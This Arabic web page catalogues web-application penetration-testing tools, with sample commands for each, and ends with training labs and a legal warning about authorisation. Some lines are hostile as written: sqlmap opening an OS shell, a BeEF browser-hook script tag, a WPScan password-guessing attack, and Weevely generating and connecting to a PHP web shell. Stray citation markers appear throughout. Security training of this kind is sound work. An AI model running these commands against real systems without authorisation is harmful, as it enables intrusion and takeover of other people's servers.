أدوات Web Hacking

اختبار اختراق تطبيقات الويب - من الاستطلاع إلى الاستغلال والتقرير

30+ أداة

7 تصنيفات

10 OWASP Top 10

عرض 30 من 30 أداة اختبار ويب

منهجية اختبار تطبيقات الويب

الاستطلاع وجمع المعلومات

Reconnaissance - نطاقات فرعية، تكنولوجيا الموقع، خوادم DNS

Amass, WhatWeb, Wappalyzer, Nmap

اكتشاف المحتوى

Content Discovery - مسارات مخفية، ملفات احتياطية، معامل

Gobuster, Dirb, Ffuf

تحليل حركة المرور

Traffic Analysis - اعتراض وتعديل الطلبات

Burp Suite, OWASP ZAP, Caido

المسح الآلي

Automated Scanning - اكتشاف الثغرات الشائعة

Nikto, Wapiti, Nuclei

استغلال الثغرات

Exploitation - حقن SQL، XSS، XXE، SSRF، وغيرها

SQLmap, XSStrike, BeEF

ما بعد الاستغلال

Post-Exploitation - رفع صلاحيات، تنفيذ أوامر

weevely, PHP Reverse Shell, Metasploit

التوثيق والتقارير

Reporting - توثيق الثغرات وخطوات الإصلاح

Dradis, Faraday, CherryTree

OWASP Top 10 (2025)

1 Broken Access Control

2 Cryptographic Failures

3 Injection

4 Insecure Design

5 Security Misconfiguration

6 Vulnerable Components

7 Auth Failures

8 Software Integrity

9 Logging Failures

10 SSRF

وكلاء اعتراض 4

ماسحات آلية 5

حقن SQL 3

XSS وهجمات المتصفح 4

CMS 3

Fuzzing واكتشاف المحتوى 4

أطر عمل متكاملة 4

أدوات متنوعة 3

وكلاء اعتراض HTTP/HTTPS

تحليل وتعديل حركة المرور بين المتصفح والخادم

4 أدوات

Burp Suite

👑 المعيار الذهبي

أشهر منصة لاختبار أمان تطبيقات الويب. توفر وكيل اعتراض، ماسح آلي (Community محدود)، مكرر طلبات، محلل، وهجوم بالقاموس. النسخة المجتمعية مجانية وقوية جداً للاختبار اليدوي [citation:2][citation:10].

Proxy Repeater Intruder Scanner (Pro) Extensions

burpsuite تشغيل الواجهة

Burp → Proxy → Intercept → On اعتراض الطلبات

📌 الاستخدامات الرئيسية:

اعتراض وتعديل الطلبات
هجمات القاموس (Intruder)
إعادة إرسال الطلبات (Repeater)
تحليل خريطة الموقع

نصيحة: ثبت شهادة Burp في متصفحك لاعتراض حركة HTTPS. استخدم FoxyProxy للتبديل السريع.

OWASP ZAP

🆓 مفتوح المصدر

Zed Attack Proxy - بديل Burp المجاني بالكامل من OWASP. يوفر ماسح آلي متكامل، وكيل اعتراض، ومجموعة كبيرة من الإضافات. مثالي للتكامل مع CI/CD [citation:6][citation:7].

Scanner مجاني AJAX Spider API Fuzzer

zaproxy تشغيل الواجهة

zap-cli quick-scan https://example.com فحص سريع

Caido

🆕 واجهة حديثة

وكيل اعتراض حديث وسريع مع واجهة مستخدم عصرية. بديل خفيف لـ Burp مع تصميم أنيق وتركيز على تجربة المستخدم. متوفر في مستودعات كالي.

وكيل اعتراض واجهة رسومية بحث متقدم

caido تشغيل

OWASP Mantra

🦊 متصفح مخترق

متصفح فايرفوكس معدّل مسبقاً بعشرات الإضافات لاختبار الاختراق. يتضمن HackBar، أدوات تعديل الهيدرز، تحليل الكوكيز، وواجهة متكاملة للاختبارات اليدوية [citation:9].

HackBar تعديل الهيدرز إضافات أمنية

owasp-mantra-ff تشغيل المتصفح

ماسحات ويب آلية

اكتشاف الثغرات الأمنية بشكل آلي

5 أدوات

Nikto

📋 ماسح خوادم

ماسح خوادم ويب شهير يكتشف الملفات الخطيرة، الإصدارات القديمة، ومشاكل التهيئة. يفحص أكثر من 7000 ملف/برنامج ضار [citation:4].

7000+ توقيع فحص SSL تحديثات مستمرة

nikto -h https://example.com فحص أساسي

nikto -h 192.168.1.1 -ssl -port 443 فحص SSL

Wapiti

🐍 Python

ماسح ويب من نوع black-box يكتشف SQLi، XSS، XXE، Command Execution، CRLF، وShellshock. يدعم تسجيل الدخول واستعادة الجلسات [citation:1].

SQLi/XSS XXE/SSRF File Disclosure DirBuster

wapiti -u https://example.com فحص أساسي

wapiti -u https://example.com -m sql,xss وحدات محددة

Nuclei

⚡ قالب-مرتكز

ماسح ثغرات سريع يعتمد على YAML templates. مجتمع ضخم وآلاف القوالب الجاهزة لـ CVEs، تهيئات خاطئة، واكتشاف التقنيات [citation:5].

5000+ قالب CVEs حديثة تقارير

nuclei -u https://example.com فحص أساسي

nuclei -l urls.txt -t cves/ فحص CVEs

WhatWeb

🔍 كشف التقنيات

أداة متقدمة لكشف التقنيات المستخدمة في المواقع (CMS، خوادم، مكتبات JavaScript، إضافات). يدعم 1800+ توقيع [citation:5].

1800+ توقيع CMS إضافات

whatweb example.com كشف التقنيات

whatweb -a 3 example.com فحص أعمى

wafw00f

🛡️ كشف WAF

أداة متخصصة في كشف جدران حماية تطبيقات الويب (WAF) وتحديد نوعها. أساسي قبل بدء أي اختبار [citation:5].

30+ WAF Cloudflare ModSecurity

wafw00f https://example.com كشف WAF

حقن SQL - SQL Injection

اكتشاف واستغلال ثغرات قواعد البيانات

3 أدوات

SQLmap

💣 ملك SQLi

أقوى أداة آلية لاكتشاف واستغلال ثغرات SQL Injection. تدعم 6 تقنيات حقن، 50+ نوع قاعدة بيانات، وتستطيع قراءة الملفات، تنفيذ الأوامر، وتجاوز المصادقة [citation:2][citation:7].

50+ DB Boolean/Time/Error --os-shell --dump

sqlmap -u "http://example.com/page.php?id=1" فحص أساسي

sqlmap -u "http://example.com/page.php?id=1" --dbs عرض قواعد البيانات

sqlmap -u "http://example.com/login.php" --data="user=admin&pass=test" حقن POST

sqlmap -r request.txt -p id --os-shell من ملف طلب

نصيحة: استخدم `--level=5 --risk=3` للفحص العميق، لكن توقع ضوضاء عالية. للاختبار الآمن في برامج المكافآت، استخدم `--level=1 --risk=1` [citation:5].

jSQL Injection

🖥️ واجهة رسومية

أداة SQL Injection بواجهة رسومية سهلة. تدعم الحقن الآلي، مدير كلمات المرور، وحقن الملفات. مناسبة للمبتدئين.

GUI Admin Finder File Upload

jsql تشغيل

BBQSQL

🔥 Boolean Blind

أداة متخصصة في SQL Injection العمياء (Boolean Blind). سريعة جداً وتدعم طلبات مخصصة. مثالية عند عدم ظهور أخطاء.

Boolean Blind HTTP Custom Multithreaded

bbqsql --config config.json تشغيل

XSS وهجمات المتصفح

Cross-Site Scripting واستغلال المتصفحات

4 أدوات

XSStrike

⚡ ماسح XSS متقدم

ماسح XSS ذكي يستخدم محلل السياق، زاحف، ومولد بايلودات متقدم. يكتشف WAF ويتجاوزه. من أقوى أدوات XSS الآلية.

Context Analysis WAF Bypass Fuzzer

xsstrike -u "http://example.com/page.php?q=test" فحص

xsstrike -u "http://example.com" --crawl زحف

BeEF

🐂 Browser Exploitation

Browser Exploitation Framework - إطار عمل لاستغلال المتصفحات. يتحكم بالمتصفحات المخترقة (hooked) وينفذ أوامر (اعتراض، كيلوغر، هجمات داخلية) [citation:8].

Hook Keylogger Metasploit 300+ وحدة

beef-xss تشغيل

http://127.0.0.1:3000/ui/panel واجهة التحكم

<script src="http://:3000/hook.js"></script> Hook

Dalfox

🦊 سريع

ماسح XSS سريع مكتوب بلغة Go. يدعم تحليل المعاملات، فحص التابعية، وتوليد بايلودات ذكية. مناسب للمعالجة الآلية.

Go Parameter Analysis DOM XSS

dalfox url http://example.com/page.php?id=1 فحص

HackBar Quantum

🧪 إضافة متصفح

إضافة متصفح شهيرة لتسريع اختبارات XSS و SQLi. تشفير/فك تشفير، توليد بايلودات، وتعديل الطلبات بسرعة [citation:6].

Encoding/Decoding Payload Generator Hashing

أنظمة إدارة المحتوى (CMS)

اختبار WordPress, Joomla, Drupal والمزيد

3 أدوات

WPScan

🔵 ماسح ووردبريس

الماسح الرسمي لووردبريس. يكتشف الإصدارات، الثغرات، الإضافات، القوالب، والمستخدمين. يستخدم قاعدة بيانات CVE محدثة [citation:5].

50k+ إضافة قوالب مستخدمين Timthumb

wpscan --url https://example.com فحص أساسي

wpscan --url https://example.com --enumerate u,vp تعداد

wpscan --url https://example.com --passwords rockyou.txt هجوم قاموس

نصيحة: سجل في WPScan API (مجاني) للحصول على تحديثات الثغرات الفورية.

JoomScan

🟢 ماسح جوملا

ماسح متخصص لاكتشاف الثغرات في Joomla. يحدد الإصدار، الإضافات، القوالب، وملفات التهيئة الحساسة.

Version Components configuration.php

joomscan -u https://example.com فحص

Droopescan

🍂 متعدد CMS

ماسح CMS متعدد يدعم Drupal، SilverStripe، Joomla، Moodle، WordPress. خفيف وسريع.

Drupal SilverStripe Moodle

droopescan scan drupal -u https://example.com دروبال

Fuzzing واكتشاف المحتوى

مسارات مخفية، ملفات، معامل، واستضافة افتراضية

4 أدوات

ffuf

⚡ أسرع Fuzzer

أداة fuzzing سريعة جداً بلغة Go. تكتشف المسارات، المعامل، الاستضافة الافتراضية، وملفات النسخ الاحتياطي [citation:5][citation:10].

Directory Parameter VHost POST data

ffuf -u https://example.com/FUZZ -w wordlist.txt مسارات

ffuf -u https://example.com?file=FUZZ -w params.txt معامل

ffuf -u https://example.com -H "Host: FUZZ.example.com" -w subdomains.txt VHost

Gobuster

🔍 مكتشف المحتوى

أداة متعددة الاستخدامات لاكتشاف المسارات (dir)، النطاقات الفرعية (dns)، وملفات النسخ الاحتياطي. سريعة ومستقرة [citation:4][citation:5].

Directory DNS VHost S3 Bucket

gobuster dir -u https://example.com -w wordlist.txt دلائل

gobuster dns -d example.com -w subdomains.txt نطاقات فرعية

Dirb

📁 كلاسيكي

أداة قديمة لكن موثوقة لاكتشاف الدلائل والملفات. تأتي مع قوائم كلمات مدمجة [citation:4].

HTTP/HTTPS Proxy support Cookies

dirb https://example.com فحص

wfuzz

🐝 مرن وقوي

أداة fuzzing متقدمة تدعم حقن متعدد، فلترة النتائج، وكوكيز. مرنة جداً لاختبارات مخصصة.

Multi-injection Filters Cookies

wfuzz -c -z file,wordlist.txt https://example.com/FUZZ فحص

أطر عمل متكاملة لاختبار الويب

منصات شاملة تغطي دورة الاختبار الكاملة

4 أدوات

Metasploit

💣 إطار عمل

إطار عمل شهير لاستغلال الثغرات، لكنه يحتوي أيضاً على وحدات متخصصة لاختبار الويب: HTTP Scanner, Tomcat, WordPress, Joomla exploits [citation:2][citation:7].

Web Exploits Payloads Auxiliary

msfconsole تشغيل

use auxiliary/scanner/http/ وحدات ويب

Kali Automation Suite

🤖 أتمتة متكاملة

مجموعة نصوص برمجية لأتمتة سير عمل اختبار الويب: تعداد النطاقات، فحص المنافذ، كشف التقنيات، مسح الثغرات بـ Nuclei، واختبار SQL آمن. تصميم احترافي مع تحقق إلزامي من الترخيص [citation:5].

Recon Web App Testing Reporting Authorization

python3 kali_automation_recon.py example.com ~/recon/ استطلاع

python3 kali_automation_webapp.py https://example.com ~/webapp/ اختبار ويب

W3AF

🕷️ إطار هجوم

إطار عمل لاختبار الاختراق واكتشاف واستغلال ثغرات الويب. يحتوي على واجهة رسومية وواجهة سطر أوامر [citation:7].

Discovery Audit Attack

w3af_gui واجهة رسومية

w3af_console سطر أوامر

Arachni

🦂 ماسح متكامل

ماسح ويب متكامل بواجهة ويب وتقارير تفاعلية. يدعم إعادة المحاولة الذكية وتقليل النتائج الإيجابية الخاطئة [citation:7].

Web UI Reports Distributed

arachni_web واجهة ويب

أدوات متنوعة

هجمات متخصصة وأدوات مساعدة

3 أدوات

Commix

⌨️ Command Injection

أداة آلية لاكتشاف واستغلال ثغرات حقن الأوامر (Command Injection). تدعم تقنيات متعددة وتستطيع فتح شل عكسي.

Command Injection Reverse Shell Filter Bypass

commix -u "http://example.com/page.php?cmd=test" فحص

XXE Injector

📄 XXE

أداة لاكتشاف واستغلال ثغرات XXE (XML External Entity). تقرأ الملفات المحلية وتستدعي خدمات خارجية.

File Read SSRF DoS

ruby xxeinjector.rb --url=http://example.com/xxe فحص

Weevely

🐚 PHP Web Shell

أداة لإدارة Web Shells مكتوبة بلغة PHP. توفر واجهة سطر أوامر للتحكم بالخادم المخترق، رفع/تنزيل ملفات، وتنفيذ أوامر.

Shell File Manager SQL Console

weevely generate password shell.php توليد شيل

weevely http://example.com/shell.php password اتصال

بيئات تدريب تطبيقات الويب

OWASP Juice Shop

تطبيق CTF متكامل مع ثغرات OWASP Top 10. مثالي للمبتدئين والمحترفين [citation:6].

Juice Shop

DVWA

Damn Vulnerable Web Application - بيئة تدريب كلاسيكية للمبتدئين [citation:3].

DVWA

WebGoat

منصة تعليمية من OWASP لتعلم أمن تطبيقات الويب من خلال دروس تفاعلية [citation:6].

WebGoat

bWAPP

تطبيق مجاني يحتوي على أكثر من 100 ثغرة ويب للتدريب [citation:6].

bWAPP

HackTheBox

منصة متقدمة لاختبار الاختراق مع أجهزة ويب متخصصة [citation:5].

HTB

PortSwigger Web Academy

أكاديمية مجانية من مطوري Burp Suite مع معامل تفاعلية [citation:2].

Web Academy

⚠️ تحذير أخلاقي وقانوني مهم

أدوات اختبار اختراق تطبيقات الويب هي أسلحة ذات حدين. استخدامها على أنظمة لا تملك إذناً كتابياً صريحاً لاختبارها غير قانوني ويعرضك للمساءلة الجنائية والمدنية [citation:5].

يجب أن يكون لديك:

إذن كتابي واضح من مالك النظام
نطاق اختبار محدد (URLs/IPs)
قواعد اشتباك متفق عليها
خطة للإبلاغ عن الثغرات الحرجة

استخدم هذه الأدوات للتعلم، البحث الأمني، برامج المكافآت، والمشاريع المملوكة لك فقط.